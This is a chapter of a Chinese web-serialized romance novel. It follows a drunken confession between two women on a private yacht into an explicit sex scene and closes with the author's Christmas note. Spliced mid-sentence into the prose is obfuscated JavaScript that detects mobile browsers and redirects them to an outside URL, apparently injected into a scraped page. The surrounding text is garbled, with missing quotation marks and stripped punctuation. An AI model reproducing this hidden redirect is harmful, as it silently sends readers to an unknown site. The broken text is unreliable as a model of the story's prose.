在今晚之前,商楹一共听过三次楼照影问她“喜欢我吗?”。
第一次是滑雪那天,在她踩着雪板刚成功滑到坡底,楼照影的问题便突兀地砸了过来,而她只以沉默当做回应。
第二次是滑雪当晚,楼照影许是看不惯她的避而不答,又将同一个问题再问了一遍,她配合地给了回答,说“我好喜欢你”。
第三次是书展庆功宴那晚,她借着清醒的酒意向楼照影发洩积压的情绪,话到最后,楼照影依旧是问她“喜欢我吗”,这一次,得到的答案是“我好恨你”。
每一次的场景与应答都截然不同,但楼照影高高在上的姿态是固定的。
可眼前的场面与过往的三次都隔着清晰的鸿沟——没有带着压迫感的追问,没有那份明显的掌控感,没有居高临下的气场。
只有脆弱的、易碎的楼照影。
像暴雨后蜷缩的花瓣,像被风吹得摇晃的烛火,像攥在手心却会化了的雪。
可这一切在商楹看来,仿佛都隔着一层模糊的雾,跟自己没有什么关系。
她不知道楼照影明天醒来会记不记得这一切,她也没有回答好还是不好,只静静凝着楼照影闪烁的泪光。
兴许是她的静默太大声,楼照影有些慌乱地捧住她的脸。
她的指尖带着些凉意,声音却哑得有些发颤,断断续续地落入商楹的耳裏:“过去是我错了,商楹。我、我会改的……你不要喜欢别人了,好不好?”
商楹听着这些,睫毛轻轻颤了颤。
待看着楼照影的眼泪再往下坠落几颗,她才艰难地掀了掀眼皮,伸出手去用指腹给楼照影擦拭眼泪。
指尖触碰到的眼泪滚烫,她的双唇翕动,吐出来的话却轻得似一缕风:“你喝多了。”
“不好。”
楼照影的鼻音重得发闷,像是被水汽浸透,她紧紧抓住商楹的手腕,固执地追问:“你的回答是这个,对不对?”
“你喝多了。”商楹的指尖勾着她悬着的一滴泪捻了捻,无奈地重复了一遍。
“不,我没喝多,我现在很清醒。”
楼照影摊开她的掌心,将自己的脸颊放在上面轻蹭,也让自己的眼泪流到她的手心。
掌心的触感很真实,她缓缓合上湿润的眼睫:“我承认我之前对你撒谎了,如果不是临裏商场那天,MUSE会是我们的第一次见面,我喜欢你
好多年,我……
“楼照影。
楼照影仰起脸,眼裏还凝着泪,她像是看见了一丝微光,问:“那你想听什么?我都讲给你听。
商楹抽回手,又缓缓搂过楼照影把人抱着,无力感似潮水在她的全身蔓延。
她的下巴垫在楼照影的肩头,声音放得很软,软得近乎嘆息:“我没有什么想听的。就像我对你不再抱有期待。
楼照影听见这话,勾住她的脖子,脑袋偏着。
温热气息往外倾洒,她的双唇擦过商楹的侧颈,带着些哭腔地低声道:“我喜欢你……
“你可不可以也喜欢我呢?话尾又忍不住回到原来的话题,眼泪也跟着往外涌,打湿两人交迭的发丝。
商楹抬手轻拍着她的背,依旧避而不答,只柔声问:“你这样的状态,明天来得及上班吗?
“来得及。
“是吗?
商楹眼角也覆上一层清晰的湿意,她收紧手臂,将楼照影抱得紧了些,声音裏藏着不易被此刻的楼照影察觉的涩意:“但我觉得来不及了,小砖。
回应她的,是楼照影渐渐均匀的呼吸声。
商楹的视线越过怀裏的人,落向窗外翻涌的江面上,墨色江水拍着这架私人游艇的船身,细碎的颠簸让她们两人在这窒闷的空间裏浮沉。
半晌,她松开这个裹着暖意的拥抱。
怕惊扰楼照影平复的气息,她起身时的动作放得极缓,随后屈膝弯腰,先让楼照影的胳膊挽住自己的脖子,再用左臂稳稳穿过楼照影的腿弯,右臂从楼照影的背后绕过去,掌心扣在楼照影的后腰处。
她微微用力,把人往自己身前带了带,确认稳妥后,才缓缓将人打横抱起。
床就在身后不远处,前后不过三四米。
她抱着楼照影一步步走过去,动作稳得没让怀中人晃一下,随即俯身把人放在床上平躺着,整个动作连贯又轻柔,没有半分局促,而楼照影的呼吸依旧平稳,眼睫安静地垂着。
商楹静静地看着睡着的楼照影好一会儿,为她别了别耳旁的碎发,再去拿过自己的手机放在一旁的柜子上,才拉开一旁的被子跟着躺进去。
随即长臂一伸,按灭室内的灯光开关,暖黄光线骤然褪去,两人一同落入浓稠的暗夜裏。
会不会太暗了?商
楹忽而想起楼照影不爱睡纯黑的环境。
这个问题刚从脑海裏经过还没等她去摁亮附近的臺灯她整个人被楼照影侧身紧紧抱住。
这个拥抱来得急切且用力手臂像圈住救命浮木似的扣着她的腰。
不过几秒钟的时间商楹便察觉到楼照影的身体正克制地发颤连带着呼吸也都不稳起来细碎地蹭在她的侧颈。
商楹的掌心覆上她的手背没把心中的疑惑问出口。
但偏过头去温柔地说:“小砖松开一点我去开灯。”
楼照影没有松开这个拥抱她的意识昏沉可她早已熟悉身侧人的味道。
她凭借着剩下的意识轻声回应:“有你在就不需要开灯。”
“……好。”
也不等商楹的脑袋转回去
黑暗是怯懦者的温床能让她们藏在心底的犹豫慢慢抬头。
同时也是不坦诚者的安全通道那些不能宣之于口的爱意会不管不顾地爬上眼角眉梢悄悄舒展开来。
闭上眼商楹柔柔回应着。
这是极其温柔的一个吻。
轻得像初春阴雨天的雨滴落在平静的湖面没有汹涌的涟漪、波浪只有一圈圈极淡的晕。
明明两人的吻技早已不再生涩气息的交缠、唇齿的辗转都很熟稔连过渡都带着自然的默契。
品尝到的依旧是熟悉的温度与触感可两人的呼吸在这一刻好像都被攥紧了每一次触碰都能感受到彼此的颤意就连心口都像是被温水泡得发胀。
之前不是没有过激烈的吻而如今一个简单的吻让她们胸腔裏的空气被抽走一大半。
商楹实在是觉得心跳太快禁不住往后撤退想喘半口匀气。
楼照影却循着她的气息追上来唇瓣轻轻含住她的带着些不容退避的意味。
情//潮像船舱之外的江水一旦溢出就再也收不住。
事态的发展逐渐脱离掌控两人慢慢坐起来指尖掠过对方的衣料睡衣的纽扣被一颗颗解开。
黑暗之中布料滑落的声音清晰入耳。
什么都剥离得干净只余滚烫的体温在密闭的空间裏相拥、传递。
楼照影将商楹的腿迭向两侧。
她的脑袋仍然被酒意裹着有些昏沉可她清楚自己现在在做什么。
她跪在床上纤
细的腰往下塌,身体微侧,准确地贴上让她喜欢的那两片羽缎。
她浑身出了一层薄汗,混着清淡的花香散开,和商楹身上同款的香气缠绕在一起,在黑暗中织成一张密不透风的网。
商楹的双臂撑在两侧,她没有喝酒,可意识也在逐渐涣散。
只能庆幸还好没开灯,否则眼前的画面太过于有冲击力,会将她通红的脸颊和耳根暴露得一览无余。
楼照影的双掌撑在商楹的肩头,平坦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179761|187284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有致的小腹有些绷着。
她们严丝合缝地贴在一起,还没开始有所动作,她忽而听见商楹轻声问:“……你跟那些人,试过这个姿势吗?
“没有。
商楹听着这个答案,心头却没有觉得松快,甚至是有些不满。
不满于楼照影也只是没跟那些人试过这个姿势。
而类似这样的问题,她在兰定县的清晨也曾问过,楼照影还笑吟吟问她是不是吃醋了。
……是的,她就是吃醋。
莫名其妙的、没有缘由的、没有身份与资格的醋。
最可笑的是,她吃醋的对象是楼照影,是她的尊严不能喜欢的人。
此刻,她压下心裏再次翻涌的醋意,想往后退,提前结束这荒唐的夜晚。
却被楼照影一把按住腿,力道不重,但不容抗拒,让她动弹不得。
楼照影俯下身,唇瓣擦过商楹的唇角。
她后知后觉地哑声解释:“不是没有试过这个姿势,是没有过那些人,从头到尾都只有你一个,商楹。
“我不会在想念你的这近十年裏和别人做这些,她们都不是你,我想要的只有你。
空气倏地静了下来,商楹抿着唇,没有吭声。
但在几秒后,她主动地抬了抬腰,动作很轻,却带着明确的回答。
思绪慢了半拍,楼照影接收到她的讯号,指尖摩挲着她的膝盖,直起身体回应着。
哪怕之前从未试过,但这会儿她们有节奏地磨了起来。
在一下又一下的碰撞中,在一声又一声的“吧唧声中。
她们能感受到彼此袒露的愉悦,因为这期间源源不断地往对方身体裏渗。
可这愉悦的背后又有些悲哀,似乎只有这样私密的、褪去所有清醒的时刻,她们两人才像是一对在相爱的恋人。
两人都咬着唇,可呼吸越发沉重、浓郁,喉间还是不自觉地溢出一层媚音。
江水逐渐停歇,可摇
晃的船身似乎没有停下来的迹象。
直到楼照影趴下去,跟商楹紧紧抱在一起,再次和她接一个柔软的吻。
她们颤抖的频率同步,心口酥麻。
没一会儿,商楹翻过身,她的嘴唇一路下滑,把楼照影的双腿往两旁分开。
楼照影枕在枕头上,下巴轻抬着。
感受到商楹的呼吸沿着熟悉的轨迹,她往后缩了缩,还想并拢腿,最后也只是夹住商楹的脑袋。
她禁不住低声开口:“小瓦,别……
“小砖。
视野裏什么也看不见,商楹的喉头咽了咽:“乖一点,让我舔舔,你马上生理期。不想吗?
“……好。
商楹合上眼,习惯性用鼻尖顶了顶。
她没有率先探出舌尖,而是先在上面不轻不重地啄。
等楼照影难耐地哼唧一声,她才伸出舌头。
嘴裏尝到的是一模一样的味道,跟之前没什么区别,可似乎又有些不一样。
楼照影的手再次放在商楹的头顶,商楹这会儿的吻法像昨晚跟她一起吃那颗薄荷糖。
可现在的她好像化身于那颗薄荷糖,任由商楹吸搅抿咬舔。
楼照影舒服得嗓音裏含着些哭腔:“呜……商楹……小瓦……
没有坚持多久,她对商楹的喜欢汩汩往外涌。
商楹拥住她发颤的身体,手掌还在原地安抚。
暗色中,她眼底浓郁的占有欲并不比楼照影少,又很快趋于平静。
作者有话说:
大家圣诞快乐!送上非常好嗑的一章!
以及很久没有玩加更游戏。
那么今晚还是老规矩啦!晚上11点前,有400人想在0点看见加更的话,请在评论区告诉我~~~